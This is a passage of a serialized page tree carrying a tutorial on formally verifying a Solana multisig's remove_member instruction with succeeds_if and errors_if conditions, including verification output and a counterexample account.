4309],{"type":32,"value":91163},{"type":26,"tag":217,"props":144311,"children":144312},{"class":7028,"line":7754},[144313],{"type":26,"tag":217,"props":144314,"children":144315},{"style":7033},[144316],{"type":32,"value":144317},"    // if there is only one key in this multisig, reject the removal\n",{"type":26,"tag":217,"props":144319,"children":144320},{"class":7028,"line":7784},[144321,144325,144329,144333,144337,144341,144345,144349,144353,144357,144361,144365,144369,144373],{"type":26,"tag":217,"props":144322,"children":144323},{"style":7042},[144324],{"type":32,"value":9710},{"type":26,"tag":217,"props":144326,"children":144327},{"style":7054},[144328],{"type":32,"value":79708},{"type":26,"tag":217,"props":144330,"children":144331},{"style":7149},[144332],{"type":32,"value":180},{"type":26,"tag":217,"props":144334,"children":144335},{"style":7048},[144336],{"type":32,"value":91204},{"type":26,"tag":217,"props":144338,"children":144339},{"style":7149},[144340],{"type":32,"value":180},{"type":26,"tag":217,"props":144342,"children":144343},{"style":7048},[144344],{"type":32,"value":142307},{"type":26,"tag":217,"props":144346,"children":144347},{"style":7149},[144348],{"type":32,"value":180},{"type":26,"tag":217,"props":144350,"children":144351},{"style":7048},[144352],{"type":32,"value":78574},{"type":26,"tag":217,"props":144354,"children":144355},{"style":7149},[144356],{"type":32,"value":180},{"type":26,"tag":217,"props":144358,"children":144359},{"style":7064},[144360],{"type":32,"value":15325},{"type":26,"tag":217,"props":144362,"children":144363},{"style":7048},[144364],{"type":32,"value":61808},{"type":26,"tag":217,"props":144366,"children":144367},{"style":7149},[144368],{"type":32,"value":9106},{"type":26,"tag":217,"props":144370,"children":144371},{"style":7130},[144372],{"type":32,"value":9742},{"type":26,"tag":217,"props":144374,"children":144375},{"style":7048},[144376],{"type":32,"value":8064},{"type":26,"tag":217,"props":144378,"children":144379},{"class":7028,"line":7802},[144380,144384,144388,144392,144396,144400,144405],{"type":26,"tag":217,"props":144381,"children":144382},{"style":7042},[144383],{"type":32,"value":9737},{"type":26,"tag":217,"props":144385,"children":144386},{"style":7064},[144387],{"type":32,"value":142024},{"type":26,"tag":217,"props":144389,"children":144390},{"style":7048},[144391],{"type":32,"value":1851},{"type":26,"tag":217,"props":144393,"children":144394},{"style":7119},[144395],{"type":32,"value":142033},{"type":26,"tag":217,"props":144397,"children":144398},{"style":7149},[144399],{"type":32,"value":56166},{"type":26,"tag":217,"props":144401,"children":144402},{"style":7119},[144403],{"type":32,"value":144404},"CannotRemoveSoloMember",{"type":26,"tag":217,"props":144406,"children":144407},{"style":7048},[144408],{"type":32,"value":7669},{"type":26,"tag":217,"props":144410,"children":144411},{"class":7028,"line":7811},[144412],{"type":26,"tag":217,"props":144413,"children":144414},{"style":7048},[144415],{"type":32,"value":9754},{"type":26,"tag":217,"props":144417,"children":144418},{"class":7028,"line":7820},[144419,144423,144427,144431,144435,144439,144443,144447,144451,144455,144459,144463],{"type":26,"tag":217,"props":144420,"children":144421},{"style":7054},[144422],{"type":32,"value":79513},{"type":26,"tag":217,"props":144424,"children":144425},{"style":7149},[144426],{"type":32,"value":180},{"type":26,"tag":217,"props":144428,"children":144429},{"style":7048},[144430],{"type":32,"value":91204},{"type":26,"tag":217,"props":144432,"children":144433},{"style":7149},[144434],{"type":32,"value":180},{"type":26,"tag":217,"props":144436,"children":144437},{"style":7048},[144438],{"type":32,"value":142307},{"type":26,"tag":217,"props":144440,"children":144441},{"style":7149},[144442],{"type":32,"value":180},{"type":26,"tag":217,"props":144444,"children":144445},{"style":7064},[144446],{"type":32,"value":143953},{"type":26,"tag":217,"props":144448,"children":144449},{"style":7048},[144450],{"type":32,"value":1851},{"type":26,"tag":217,"props":144452,"children":144453},{"style":7054},[144454],{"type":32,"value":144285},{"type":26,"tag":217,"props":144456,"children":144457},{"style":7048},[144458],{"type":32,"value":1889},{"type":26,"tag":217,"props":144460,"children":144461},{"style":7149},[144462],{"type":32,"value":605},{"type":26,"tag":217,"props":144464,"children":144465},{"style":7048},[144466],{"type":32,"value":7162},{"type":26,"tag":217,"props":144468,"children":144469},{"class":7028,"line":7844},[144470],{"type":26,"tag":217,"props":144471,"children":144472},{"emptyLinePlaceholder":17},[144473],{"type":32,"value":7817},{"type":26,"tag":217,"props":144475,"children":144476},{"class":7028,"line":7910},[144477],{"type":26,"tag":217,"props":144478,"children":144479},{"style":7033},[144480],{"type":32,"value":144481},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":26,"tag":217,"props":144483,"children":144484},{"class":7028,"line":7954},[144485,144489,144493,144497,144501,144505,144509,144513,144517,144521,144525,144530,144535,144539,144543,144547,144551,144555,144559,144563,144567,144571],{"type":26,"tag":217,"props":144486,"children":144487},{"style":7042},[144488],{"type":32,"value":9710},{"type":26,"tag":217,"props":144490,"children":144491},{"style":7054},[144492],{"type":32,"value":79708},{"type":26,"tag":217,"props":144494,"children":144495},{"style":7149},[144496],{"type":32,"value":180},{"type":26,"tag":217,"props":144498,"children":144499},{"style":7048},[144500],{"type":32,"value":91204},{"type":26,"tag":217,"props":144502,"children":144503},{"style":7149},[144504],{"type":32,"value":180},{"type":26,"tag":217,"props":144506,"children":144507},{"style":7048},[144508],{"type":32,"value":142307},{"type":26,"tag":217,"props":144510,"children":144511},{"style":7149},[144512],{"type":32,"value":180},{"type":26,"tag":217,"props":144514,"children":144515},{"style":7048},[144516],{"type":32,"value":78574},{"type":26,"tag":217,"props":144518,"children":144519},{"style":7149},[144520],{"type":32,"value":180},{"type":26,"tag":217,"props":144522,"children":144523},{"style":7064},[144524],{"type":32,"value":15325},{"type":26,"tag":217,"props":144526,"children":144527},{"style":7048},[144528],{"type":32,"value":144529},"() \u003C ",{"type":26,"tag":217,"props":144531,"children":144532},{"style":7119},[144533],{"type":32,"value":144534},"usize",{"type":26,"tag":217,"props":144536,"children":144537},{"style":7149},[144538],{"type":32,"value":56166},{"type":26,"tag":217,"props":144540,"children":144541},{"style":7064},[144542],{"type":32,"value":98448},{"type":26,"tag":217,"props":144544,"children":144545},{"style":7048},[144546],{"type":32,"value":1851},{"type":26,"tag":217,"props":144548,"children":144549},{"style":7054},[144550],{"type":32,"value":79895},{"type":26,"tag":217,"props":144552,"children":144553},{"style":7149},[144554],{"type":32,"value":180},{"type":26,"tag":217,"props":144556,"children":144557},{"style":7048},[144558],{"type":32,"value":91204},{"type":26,"tag":217,"props":144560,"children":144561},{"style":7149},[144562],{"type":32,"value":180},{"type":26,"tag":217,"props":144564,"children":144565},{"style":7048},[144566],{"type":32,"value":142307},{"type":26,"tag":217,"props":144568,"children":144569},{"style":7149},[144570],{"type":32,"value":180},{"type":26,"tag":217,"props":144572,"children":144573},{"style":7048},[144574],{"type":32,"value":144575},"threshold) {\n",{"type":26,"tag":217,"props":144577,"children":144578},{"class":7028,"line":7985},[144579,144583,144588,144592,144596,144600,144604,144608,144612,144616,144620,144624,144628,144632,144636,144640,144644,144648,144652,144656,144660],{"type":26,"tag":217,"props":144580,"children":144581},{"style":7154},[144582],{"type":32,"value":91366},{"type":26,"tag":217,"props":144584,"children":144585},{"style":7054},[144586],{"type":32,"value":144587}," new_threshold",{"type":26,"tag":217,"props":144589,"children":144590},{"style":7149},[144591],{"type":32,"value":1473},{"type":26,"tag":217,"props":144593,"children":144594},{"style":7119},[144595],{"type":32,"value":139574},{"type":26,"tag":217,"props":144597,"children":144598},{"style":7149},[144599],{"type":32,"value":8993},{"type":26,"tag":217,"props":144601,"children":144602},{"style":7054},[144603],{"type":32,"value":79708},{"type":26,"tag":217,"props":144605,"children":144606},{"style":7149},[144607],{"type":32,"value":180},{"type":26,"tag":217,"props":144609,"children":144610},{"style":7048},[144611],{"type":32,"value":91204},{"type":26,"tag":217,"props":144613,"children":144614},{"style":7149},[144615],{"type":32,"value":180},{"type":26,"tag":217,"props":144617,"children":144618},{"style":7048},[144619],{"type":32,"value":142307},{"type":26,"tag":217,"props":144621,"children":144622},{"style":7149},[144623],{"type":32,"value":180},{"type":26,"tag":217,"props":144625,"children":144626},{"style":7048},[144627],{"type":32,"value":78574},{"type":26,"tag":217,"props":144629,"children":144630},{"style":7149},[144631],{"type":32,"value":180},{"type":26,"tag":217,"props":144633,"children":144634},{"style":7064},[144635],{"type":32,"value":15325},{"type":26,"tag":217,"props":144637,"children":144638},{"style":7048},[144639],{"type":32,"value":78002},{"type":26,"tag":217,"props":144641,"children":144642},{"style":7149},[144643],{"type":32,"value":180},{"type":26,"tag":217,"props":144645,"children":144646},{"style":7064},[144647],{"type":32,"value":120897},{"type":26,"tag":217,"props":144649,"children":144650},{"style":7048},[144651],{"type":32,"value":78002},{"type":26,"tag":217,"props":144653,"children":144654},{"style":7149},[144655],{"type":32,"value":180},{"type":26,"tag":217,"props":144657,"children":144658},{"style":7064},[144659],{"type":32,"value":97935},{"type":26,"tag":217,"props":144661,"children":144662},{"style":7048},[144663],{"type":32,"value":8217},{"type":26,"tag":217,"props":144665,"children":144666},{"class":7028,"line":8027},[144667,144671,144675,144679,144683,144687,144691,144696,144700,144705,144709,144713],{"type":26,"tag":217,"props":144668,"children":144669},{"style":7054},[144670],{"type":32,"value":78279},{"type":26,"tag":217,"props":144672,"children":144673},{"style":7149},[144674],{"type":32,"value":180},{"type":26,"tag":217,"props":144676,"children":144677},{"style":7048},[144678],{"type":32,"value":91204},{"type":26,"tag":217,"props":144680,"children":144681},{"style":7149},[144682],{"type":32,"value":180},{"type":26,"tag":217,"props":144684,"children":144685},{"style":7048},[144686],{"type":32,"value":142307},{"type":26,"tag":217,"props":144688,"children":144689},{"style":7149},[144690],{"type":32,"value":180},{"type":26,"tag":217,"props":144692,"children":144693},{"style":7064},[144694],{"type":32,"value":144695},"change_threshold",{"type":26,"tag":217,"props":144697,"children":144698},{"style":7048},[144699],{"type":32,"value":1851},{"type":26,"tag":217,"props":144701,"children":144702},{"style":7054},[144703],{"type":32,"value":144704},"new_threshold",{"type":26,"tag":217,"props":144706,"children":144707},{"style":7048},[144708],{"type":32,"value":1889},{"type":26,"tag":217,"props":144710,"children":144711},{"style":7149},[144712],{"type":32,"value":605},{"type":26,"tag":217,"props":144714,"children":144715},{"style":7048},[144716],{"type":32,"value":7162},{"type":26,"tag":217,"props":144718,"children":144719},{"class":7028,"line":8035},[144720],{"type":26,"tag":217,"props":144721,"children":144722},{"style":7048},[144723],{"type":32,"value":9754},{"type":26,"tag":217,"props":144725,"children":144726},{"class":7028,"line":8067},[144727,144731,144736,144740,144744,144748,144752,144756,144760,144764],{"type":26,"tag":217,"props":144728,"children":144729},{"style":7154},[144730],{"type":32,"value":77780},{"type":26,"tag":217,"props":144732,"children":144733},{"style":7054},[144734],{"type":32,"value":144735}," new_index",{"type":26,"tag":217,"props":144737,"children":144738},{"style":7149},[144739],{"type":32,"value":8993},{"type":26,"tag":217,"props":144741,"children":144742},{"style":7054},[144743],{"type":32,"value":79708},{"type":26,"tag":217,"props":144745,"children":144746},{"style":7149},[144747],{"type":32,"value":180},{"type":26,"tag":217,"props":144749,"children":144750},{"style":7048},[144751],{"type":32,"value":91204},{"type":26,"tag":217,"props":144753,"children":144754},{"style":7149},[144755],{"type":32,"value":180},{"type":26,"tag":217,"props":144757,"children":144758},{"style":7048},[144759],{"type":32,"value":142307},{"type":26,"tag":217,"props":144761,"children":144762},{"style":7149},[144763],{"type":32,"value":180},{"type":26,"tag":217,"props":144765,"children":144766},{"style":7048},[144767],{"type":32,"value":144768},"transaction_index;\n",{"type":26,"tag":217,"props":144770,"children":144771},{"class":7028,"line":8107},[144772,144776,144780,144784,144788,144792,144796,144801,144805,144810],{"type":26,"tag":217,"props":144773,"children":144774},{"style":7054},[144775],{"type":32,"value":79513},{"type":26,"tag":217,"props":144777,"children":144778},{"style":7149},[144779],{"type":32,"value":180},{"type":26,"tag":217,"props":144781,"children":144782},{"style":7048},[144783],{"type":32,"value":91204},{"type":26,"tag":217,"props":144785,"children":144786},{"style":7149},[144787],{"type":32,"value":180},{"type":26,"tag":217,"props":144789,"children":144790},{"style":7048},[144791],{"type":32,"value":142307},{"type":26,"tag":217,"props":144793,"children":144794},{"style":7149},[144795],{"type":32,"value":180},{"type":26,"tag":217,"props":144797,"children":144798},{"style":7064},[144799],{"type":32,"value":144800},"set_change_index",{"type":26,"tag":217,"props":144802,"children":144803},{"style":7048},[144804],{"type":32,"value":1851},{"type":26,"tag":217,"props":144806,"children":144807},{"style":7054},[144808],{"type":32,"value":144809},"new_index",{"type":26,"tag":217,"props":144811,"children":144812},{"style":7048},[144813],{"type":32,"value":10025},{"type":26,"tag":217,"props":144815,"children":144816},{"class":7028,"line":8145},[144817],{"type":26,"tag":217,"props":144818,"children":144819},{"style":7048},[144820],{"type":32,"value":7184},{"type":26,"tag":39,"props":144822,"children":144823},{},[144824,144826,144831],{"type":32,"value":144825},"First let's establish the ",{"type":26,"tag":83,"props":144827,"children":144829},{"className":144828},[],[144830],{"type":32,"value":138719},{"type":32,"value":144832}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":26,"tag":207,"props":144834,"children":144836},{"code":144835,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[144837],{"type":26,"tag":83,"props":144838,"children":144839},{"__ignoreMap":8},[144840,144847,144894,144901],{"type":26,"tag":217,"props":144841,"children":144842},{"class":7028,"line":7029},[144843],{"type":26,"tag":217,"props":144844,"children":144845},{"style":7048},[144846],{"type":32,"value":142604},{"type":26,"tag":217,"props":144848,"children":144849},{"class":7028,"line":6770},[144850,144854,144858,144862,144866,144870,144874,144878,144882,144886,144890],{"type":26,"tag":217,"props":144851,"children":144852},{"style":7048},[144853],{"type":32,"value":79513},{"type":26,"tag":217,"props":144855,"children":144856},{"style":7149},[144857],{"type":32,"value":180},{"type":26,"tag":217,"props":144859,"children":144860},{"style":7048},[144861],{"type":32,"value":91204},{"type":26,"tag":217,"props":144863,"children":144864},{"style":7149},[144865],{"type":32,"value":180},{"type":26,"tag":217,"props":144867,"children":144868},{"style":7048},[144869],{"type":32,"value":142307},{"type":26,"tag":217,"props":144871,"children":144872},{"style":7149},[144873],{"type":32,"value":180},{"type":26,"tag":217,"props":144875,"children":144876},{"style":7048},[144877],{"type":32,"value":78574},{"type":26,"tag":217,"props":144879,"children":144880},{"style":7149},[144881],{"type":32,"value":180},{"type":26,"tag":217,"props":144883,"children":144884},{"style":7048},[144885],{"type":32,"value":139565},{"type":26,"tag":217,"props":144887,"children":144888},{"style":7149},[144889],{"type":32,"value":5903},{"type":26,"tag":217,"props":144891,"children":144892},{"style":7048},[144893],{"type":32,"value":120191},{"type":26,"tag":217,"props":144895,"children":144896},{"class":7028,"line":6779},[144897],{"type":26,"tag":217,"props":144898,"children":144899},{"style":7048},[144900],{"type":32,"value":90743},{"type":26,"tag":217,"props":144902,"children":144903},{"class":7028,"line":7140},[144904,144908,144912,144916,144920,144924,144928],{"type":26,"tag":217,"props":144905,"children":144906},{"style":7154},[144907],{"type":32,"value":77603},{"type":26,"tag":217,"props":144909,"children":144910},{"style":7064},[144911],{"type":32,"value":144251},{"type":26,"tag":217,"props":144913,"children":144914},{"style":7048},[144915],{"type":32,"value":1851},{"type":26,"tag":217,"props":144917,"children":144918},{"style":7149},[144919],{"type":32,"value":13251},{"type":26,"tag":217,"props":144921,"children":144922},{"style":7048},[144923],{"type":32,"value":84747},{"type":26,"tag":217,"props":144925,"children":144926},{"style":7149},[144927],{"type":32,"value":13251},{"type":26,"tag":217,"props":144929,"children":144930},{"style":7048},[144931],{"type":32,"value":65351},{"type":26,"tag":39,"props":144933,"children":144934},{},[144935,144937,144942],{"type":32,"value":144936},"And for now let's remove the invariant on the ",{"type":26,"tag":83,"props":144938,"children":144940},{"className":144939},[],[144941],{"type":32,"value":141256},{"type":32,"value":144943}," account:",{"type":26,"tag":207,"props":144945,"children":144947},{"code":144946,"language":56139,"meta":8,"className":56140,"style":8},"#[invariant()]\npub struct Ms { ... }\n",[144948],{"type":26,"tag":83,"props":144949,"children":144950},{"__ignoreMap":8},[144951,144959],{"type":26,"tag":217,"props":144952,"children":144953},{"class":7028,"line":7029},[144954],{"type":26,"tag":217,"props":144955,"children":144956},{"style":7048},[144957],{"type":32,"value":144958},"#[invariant()]\n",{"type":26,"tag":217,"props":144960,"children":144961},{"class":7028,"line":6770},[144962,144966,144970,144974,144978,144982],{"type":26,"tag":217,"props":144963,"children":144964},{"style":7154},[144965],{"type":32,"value":56830},{"type":26,"tag":217,"props":144967,"children":144968},{"style":7154},[144969],{"type":32,"value":77038},{"type":26,"tag":217,"props":144971,"children":144972},{"style":7119},[144973],{"type":32,"value":139699},{"type":26,"tag":217,"props":144975,"children":144976},{"style":7048},[144977],{"type":32,"value":65337},{"type":26,"tag":217,"props":144979,"children":144980},{"style":7149},[144981],{"type":32,"value":13251},{"type":26,"tag":217,"props":144983,"children":144984},{"style":7048},[144985],{"type":32,"value":65351},{"type":26,"tag":39,"props":144987,"children":144988},{},[144989],{"type":32,"value":144990},"Let's test this!",{"type":26,"tag":39,"props":144992,"children":144993},{},[144994,144996,145001],{"type":32,"value":144995},"Our ",{"type":26,"tag":83,"props":144997,"children":144999},{"className":144998},[],[145000],{"type":32,"value":138719},{"type":32,"value":145002}," harness produces:",{"type":26,"tag":207,"props":145004,"children":145006},{"code":145005},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[145007],{"type":26,"tag":83,"props":145008,"children":145009},{"__ignoreMap":8},[145010],{"type":32,"value":145005},{"type":26,"tag":39,"props":145012,"children":145013},{},[145014],{"type":32,"value":145015},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":26,"tag":39,"props":145017,"children":145018},{},[145019,145021,145026],{"type":32,"value":145020},"However, remember that since ",{"type":26,"tag":83,"props":145022,"children":145024},{"className":145023},[],[145025],{"type":32,"value":138719},{"type":32,"value":145027}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":26,"tag":39,"props":145029,"children":145030},{},[145031,145033,145038,145040,145045,145047,145052],{"type":32,"value":145032},"Suppose we want to be sure that this condition is the ",{"type":26,"tag":65,"props":145034,"children":145035},{},[145036],{"type":32,"value":145037},"only condition",{"type":32,"value":145039}," in which the function will succeed (i.e. ",{"type":26,"tag":65,"props":145041,"children":145042},{},[145043],{"type":32,"value":145044},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":32,"value":145046},"). We could attempt to verify the other side of this with an ",{"type":26,"tag":83,"props":145048,"children":145050},{"className":145049},[],[145051],{"type":32,"value":138726},{"type":32,"value":145053}," macro such as:",{"type":26,"tag":207,"props":145055,"children":145057},{"code":145056,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[145058],{"type":26,"tag":83,"props":145059,"children":145060},{"__ignoreMap":8},[145061,145068,145115,145122,145129,145176,145183],{"type":26,"tag":217,"props":145062,"children":145063},{"class":7028,"line":7029},[145064],{"type":26,"tag":217,"props":145065,"children":145066},{"style":7048},[145067],{"type":32,"value":142604},{"type":26,"tag":217,"props":145069,"children":145070},{"class":7028,"line":6770},[145071,145075,145079,145083,145087,145091,145095,145099,145103,145107,145111],{"type":26,"tag":217,"props":145072,"children":145073},{"style":7048},[145074],{"type":32,"value":79513},{"type":26,"tag":217,"props":145076,"children":145077},{"style":7149},[145078],{"type":32,"value":180},{"type":26,"tag":217,"props":145080,"children":145081},{"style":7048},[145082],{"type":32,"value":91204},{"type":26,"tag":217,"props":145084,"children":145085},{"style":7149},[145086],{"type":32,"value":180},{"type":26,"tag":217,"props":145088,"children":145089},{"style":7048},[145090],{"type":32,"value":142307},{"type":26,"tag":217,"props":145092,"children":145093},{"style":7149},[145094],{"type":32,"value":180},{"type":26,"tag":217,"props":145096,"children":145097},{"style":7048},[145098],{"type":32,"value":78574},{"type":26,"tag":217,"props":145100,"children":145101},{"style":7149},[145102],{"type":32,"value":180},{"type":26,"tag":217,"props":145104,"children":145105},{"style":7048},[145106],{"type":32,"value":139565},{"type":26,"tag":217,"props":145108,"children":145109},{"style":7149},[145110],{"type":32,"value":5903},{"type":26,"tag":217,"props":145112,"children":145113},{"style":7048},[145114],{"type":32,"value":120191},{"type":26,"tag":217,"props":145116,"children":145117},{"class":7028,"line":6779},[145118],{"type":26,"tag":217,"props":145119,"children":145120},{"style":7048},[145121],{"type":32,"value":90743},{"type":26,"tag":217,"props":145123,"children":145124},{"class":7028,"line":7140},[145125],{"type":26,"tag":217,"props":145126,"children":145127},{"style":7048},[145128],{"type":32,"value":138779},{"type":26,"tag":217,"props":145130,"children":145131},{"class":7028,"line":7165},[145132,145136,145140,145144,145148,145152,145156,145160,145164,145168,145172],{"type":26,"tag":217,"props":145133,"children":145134},{"style":7048},[145135],{"type":32,"value":79513},{"type":26,"tag":217,"props":145137,"children":145138},{"style":7149},[145139],{"type":32,"value":180},{"type":26,"tag":217,"props":145141,"children":145142},{"style":7048},[145143],{"type":32,"value":91204},{"type":26,"tag":217,"props":145145,"children":145146},{"style":7149},[145147],{"type":32,"value":180},{"type":26,"tag":217,"props":145149,"children":145150},{"style":7048},[145151],{"type":32,"value":142307},{"type":26,"tag":217,"props":145153,"children":145154},{"style":7149},[145155],{"type":32,"value":180},{"type":26,"tag":217,"props":145157,"children":145158},{"style":7048},[145159],{"type":32,"value":78574},{"type":26,"tag":217,"props":145161,"children":145162},{"style":7149},[145163],{"type":32,"value":180},{"type":26,"tag":217,"props":145165,"children":145166},{"style":7048},[145167],{"type":32,"value":139565},{"type":26,"tag":217,"props":145169,"children":145170},{"style":7149},[145171],{"type":32,"value":137987},{"type":26,"tag":217,"props":145173,"children":145174},{"style":7048},[145175],{"type":32,"value":120191},{"type":26,"tag":217,"props":145177,"children":145178},{"class":7028,"line":7178},[145179],{"type":26,"tag":217,"props":145180,"children":145181},{"style":7048},[145182],{"type":32,"value":90743},{"type":26,"tag":217,"props":145184,"children":145185},{"class":7028,"line":7389},[145186,145190,145194,145198,145202,145206,145210],{"type":26,"tag":217,"props":145187,"children":145188},{"style":7154},[145189],{"type":32,"value":77603},{"type":26,"tag":217,"props":145191,"children":145192},{"style":7064},[145193],{"type":32,"value":144251},{"type":26,"tag":217,"props":145195,"children":145196},{"style":7048},[145197],{"type":32,"value":1851},{"type":26,"tag":217,"props":145199,"children":145200},{"style":7149},[145201],{"type":32,"value":13251},{"type":26,"tag":217,"props":145203,"children":145204},{"style":7048},[145205],{"type":32,"value":84747},{"type":26,"tag":217,"props":145207,"children":145208},{"style":7149},[145209],{"type":32,"value":13251},{"type":26,"tag":217,"props":145211,"children":145212},{"style":7048},[145213],{"type":32,"value":65351},{"type":26,"tag":39,"props":145215,"children":145216},{},[145217,145219,145224],{"type":32,"value":145218},"Let's test this, we just need to run the new ",{"type":26,"tag":83,"props":145220,"children":145222},{"className":145221},[],[145223],{"type":32,"value":138726},{"type":32,"value":9570},{"type":26,"tag":207,"props":145226,"children":145228},{"code":145227},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[145229],{"type":26,"tag":83,"props":145230,"children":145231},{"__ignoreMap":8},[145232],{"type":32,"value":145227},{"type":26,"tag":39,"props":145234,"children":145235},{},[145236],{"type":32,"value":145237},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":26,"tag":207,"props":145239,"children":145241},{"code":145240,"language":56139,"meta":8,"className":56140,"style":8},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[145242],{"type":26,"tag":83,"props":145243,"children":145244},{"__ignoreMap":8},[145245,145256,145275,145294,145313,145332,145351,145370,145389,145408,145427,145446,145465,145472,145479,145506],{"type":26,"tag":217,"props":145246,"children":145247},{"class":7028,"line":7029},[145248,145252],{"type":26,"tag":217,"props":145249,"children":145250},{"style":7119},[145251],{"type":32,"value":143652},{"type":26,"tag":217,"props":145253,"children":145254},{"style":7048},[145255],{"type":32,"value":8064},{"type":26,"tag":217,"props":145257,"children":145258},{"class":7028,"line":6770},[145259,145263,145267,145271],{"type":26,"tag":217,"props":145260,"children":145261},{"style":7054},[145262],{"type":32,"value":93601},{"type":26,"tag":217,"props":145264,"children":145265},{"style":7149},[145266],{"type":32,"value":1473},{"type":26,"tag":217,"props":145268,"children":145269},{"style":7119},[145270],{"type":32,"value":139699},{"type":26,"tag":217,"props":145272,"children":145273},{"style":7048},[145274],{"type":32,"value":8064},{"type":26,"tag":217,"props":145276,"children":145277},{"class":7028,"line":6779},[145278,145282,145286,145290],{"type":26,"tag":217,"props":145279,"children":145280},{"style":7054},[145281],{"type":32,"value":142327},{"type":26,"tag":217,"props":145283,"children":145284},{"style":7149},[145285],{"type":32,"value":1473},{"type":26,"tag":217,"props":145287,"children":145288},{"style":7130},[145289],{"type":32,"value":9922},{"type":26,"tag":217,"props":145291,"children":145292},{"style":7048},[145293],{"type":32,"value":10953},{"type":26,"tag":217,"props":145295,"children":145296},{"class":7028,"line":7140},[145297,145301,145305,145309],{"type":26,"tag":217,"props":145298,"children":145299},{"style":7054},[145300],{"type":32,"value":143703},{"type":26,"tag":217,"props":145302,"children":145303},{"style":7149},[145304],{"type":32,"value":1473},{"type":26,"tag":217,"props":145306,"children":145307},{"style":7130},[145308],{"type":32,"value":9922},{"type":26,"tag":217,"props":145310,"children":145311},{"style":7048},[145312],{"type":32,"value":10953},{"type":26,"tag":217,"props":145314,"children":145315},{"class":7028,"line":7165},[145316,145320,145324,145328],{"type":26,"tag":217,"props":145317,"children":145318},{"style":7054},[145319],{"type":32,"value":143723},{"type":26,"tag":217,"props":145321,"children":145322},{"style":7149},[145323],{"type":32,"value":1473},{"type":26,"tag":217,"props":145325,"children":145326},{"style":7130},[145327],{"type":32,"value":9922},{"type":26,"tag":217,"props":145329,"children":145330},{"style":7048},[145331],{"type":32,"value":10953},{"type":26,"tag":217,"props":145333,"children":145334},{"class":7028,"line":7178},[145335,145339,145343,145347],{"type":26,"tag":217,"props":145336,"children":145337},{"style":7054},[145338],{"type":32,"value":143743},{"type":26,"tag":217,"props":145340,"children":145341},{"style":7149},[145342],{"type":32,"value":1473},{"type":26,"tag":217,"props":145344,"children":145345},{"style":7130},[145346],{"type":32,"value":9922},{"type":26,"tag":217,"props":145348,"children":145349},{"style":7048},[145350],{"type":32,"value":10953},{"type":26,"tag":217,"props":145352,"children":145353},{"class":7028,"line":7389},[145354,145358,145362,145366],{"type":26,"tag":217,"props":145355,"children":145356},{"style":7054},[145357],{"type":32,"value":143763},{"type":26,"tag":217,"props":145359,"children":145360},{"style":7149},[145361],{"type":32,"value":1473},{"type":26,"tag":217,"props":145363,"children":145364},{"style":7130},[145365],{"type":32,"value":9922},{"type":26,"tag":217,"props":145367,"children":145368},{"style":7048},[145369],{"type":32,"value":10953},{"type":26,"tag":217,"props":145371,"children":145372},{"class":7028,"line":7406},[145373,145377,145381,145385],{"type":26,"tag":217,"props":145374,"children":145375},{"style":7054},[145376],{"type":32,"value":142339},{"type":26,"tag":217,"props":145378,"children":145379},{"style":7149},[145380],{"type":32,"value":1473},{"type":26,"tag":217,"props":145382,"children":145383},{"style":7149},[145384],{"type":32,"value":90342},{"type":26,"tag":217,"props":145386,"children":145387},{"style":7048},[145388],{"type":32,"value":10953},{"type":26,"tag":217,"props":145390,"children":145391},{"class":7028,"line":7439},[145392,145396,145400,145404],{"type":26,"tag":217,"props":145393,"children":145394},{"style":7054},[145395],{"type":32,"value":143802},{"type":26,"tag":217,"props":145397,"children":145398},{"style":7149},[145399],{"type":32,"value":1473},{"type":26,"tag":217,"props":145401,"children":145402},{"style":7154},[145403],{"type":32,"value":7795},{"type":26,"tag":217,"props":145405,"children":145406},{"style":7048},[145407],{"type":32,"value":10953},{"type":26,"tag":217,"props":145409,"children":145410},{"class":7028,"line":7487},[145411,145415,145419,145423],{"type":26,"tag":217,"props":145412,"children":145413},{"style":7054},[145414],{"type":32,"value":78556},{"type":26,"tag":217,"props":145416,"children":145417},{"style":7149},[145418],{"type":32,"value":1473},{"type":26,"tag":217,"props":145420,"children":145421},{"style":7119},[145422],{"type":32,"value":139932},{"type":26,"tag":217,"props":145424,"children":145425},{"style":7048},[145426],{"type":32,"value":8064},{"type":26,"tag":217,"props":145428,"children":145429},{"class":7028,"line":7524},[145430,145434,145438,145442],{"type":26,"tag":217,"props":145431,"children":145432},{"style":7054},[145433],{"type":32,"value":90033},{"type":26,"tag":217,"props":145435,"children":145436},{"style":7149},[145437],{"type":32,"value":1473},{"type":26,"tag":217,"props":145439,"children":145440},{"style":7149},[145441],{"type":32,"value":90342},{"type":26,"tag":217,"props":145443,"children":145444},{"style":7048},[145445],{"type":32,"value":10953},{"type":26,"tag":217,"props":145447,"children":145448},{"class":7028,"line":7553},[145449,145453,145457,145461],{"type":26,"tag":217,"props":145450,"children":145451},{"style":7054},[145452],{"type":32,"value":143842},{"type":26,"tag":217,"props":145454,"children":145455},{"style":7149},[145456],{"type":32,"value":1473},{"type":26,"tag":217,"props":145458,"children":145459},{"style":7130},[145460],{"type":32,"value":9922},{"type":26,"tag":217,"props":145462,"children":145463},{"style":7048},[145464],{"type":32,"value":10953},{"type":26,"tag":217,"props":145466,"children":145467},{"class":7028,"line":7570},[145468],{"type":26,"tag":217,"props":145469,"children":145470},{"style":7048},[145471],{"type":32,"value":98350},{"type":26,"tag":217,"props":145473,"children":145474},{"class":7028,"line":7621},[145475],{"type":26,"tag":217,"props":145476,"children":145477},{"style":7048},[145478